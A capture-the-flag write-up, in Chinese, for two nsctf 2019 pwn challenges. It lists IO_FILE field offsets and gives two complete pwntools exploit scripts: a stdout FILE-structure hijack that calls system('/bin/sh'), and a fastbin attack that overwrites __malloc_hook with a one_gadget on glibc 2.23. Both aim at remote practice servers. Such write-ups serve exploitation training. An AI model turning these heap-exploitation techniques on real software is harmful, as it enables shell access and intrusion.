nsctf_online_2019_pwn_1&2 wp

PWN_1:

IO_FILE_plus各种偏移:

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
//IO_FILE_complete
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

输入负数溢出(A0-20)/8(qword 8bytes)可以反向溢出至stdout指针处,可以借此控制_IO_2_1_stdout结构体,进而修改结构体中成员,修改_flags/bin/sh\x00字符串
vtable&_IO_2_1_stdout+0x10
_IO_save_basesystem地址
_lock(&_IO_2_1_stdout+0x88处)值保持不变(固定偏移)



puts->vtable->_IO_2_1_stdout+0x10(原 _IO_new_file_xsputn偏移为0x38,修改后实际调用+0x48,即_IO_save_base)->system(_IO_save_base)<-"/bin/sh\x00"(原_flags字段做参数)

2.23有效,以上无效

exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./nsctf_online_2019_pwn1")
io=remote("node4.buuoj.cn", 27333)
elf=ELF("./nsctf_online_2019_pwn1")
libc=ELF("./libc-2.23.so")

def add(n,cc):
    io.sendlineafter(b"exit\n",b"1")
    io.sendlineafter(b"size:\n",str(n))
    io.sendafter(b"content:\n",cc)

def delete(n):
    io.sendlineafter(b"exit\n",b"2")
    io.sendafter(b"index:\n",str(n))
    
def edit(n,s,cc):
    io.sendlineafter(b"exit\n",b"4")
    io.sendlineafter(b"index:\n",str(n))
    io.sendlineafter(b"size:\n",str(s))
    io.sendafter(b"content:\n",cc)

# gdb.attach(io)
# pause()

add(0x100,b"aaa")

payload=p64(0xfbad1887)+p64(0)*3+b"\x00"
edit(-0x10,len(payload),payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("leak_addr: "+hex(leak_addr))
libc_base=leak_addr-libc.sym[b"_IO_file_jumps"]
print("libc_base: "+hex(libc_base))

one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
shell=one_gadget[1]+libc_base
sys_addr=libc.sym[b"system"]+libc_base
_IO_2_1_stdout=leak_addr+0x1f40


fs=FileStructure()
fs.flags=b"/bin/sh\x00"
fs.vtable=p64(_IO_2_1_stdout+0x10)
fs._IO_save_base=p64(sys_addr)
fs._lock=p64(libc_base+0x3c6780)


edit(-0x10,len(fs),bytes(fs))

io.interactive()

# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL



PWN_2:

一道fastbin attack打one_gadget,realloc调偏移
delete操作每次指针置空,但是有update函数off by one可以修改指针低位,可以指向任意堆块进行操作
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("node4.buuoj.cn",29081)
# io=process("./nsctf_online_2019_pwn2")
elf=ELF("./nsctf_online_2019_pwn2")
libc=ELF("./libc-2.23.so")

def pre(cc):
    io.recvuntil(b"name\n")
    io.send(cc)
    
def add(s):
    io.sendlineafter(b"exit\n",b"1")
    io.sendlineafter(b"size\n",str(s))
    
def delete():
    io.sendlineafter(b"exit\n", b"2")

def show():
    io.sendlineafter(b"exit\n", b"3")
        
def update(cc):
    io.sendlineafter(b"exit\n", b"4")
    io.sendafter(b"name\n",cc)
    
def edit(cc):
    io.sendlineafter(b"exit\n", b"5")
    io.sendafter(b"note\n",cc)

# gdb.attach(io)
# pause()

pre(cyclic(0x30))

add(0x90)
add(0x30)
update(cyclic(0x30)+b"\x10")
delete()

add(0x20)
# edit(cyclic(0x18)+p64(0x10))
update(cyclic(0x30)+b"\x40")

show()
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x68-libc.sym[b"__malloc_hook"]
print("leak_addr: "+hex(leak_addr))
realloc=libc.sym[b"__libc_realloc"]+leak_addr
malloc_hook=libc.sym[b"__malloc_hook"]+leak_addr
one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
shell=one_gadget[1]+leak_addr

add(0x60)
delete()

add(0x10)
update(cyclic(0x30)+b"\x40")
edit(p64(malloc_hook-0x23))

add(0x60)
add(0x60)
edit(cyclic(0xb)+p64(shell)+p64(realloc+0x10))

# gdb.attach(io)
# pause()

add(0x10)
# add(0x10)
    
io.interactive()

# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL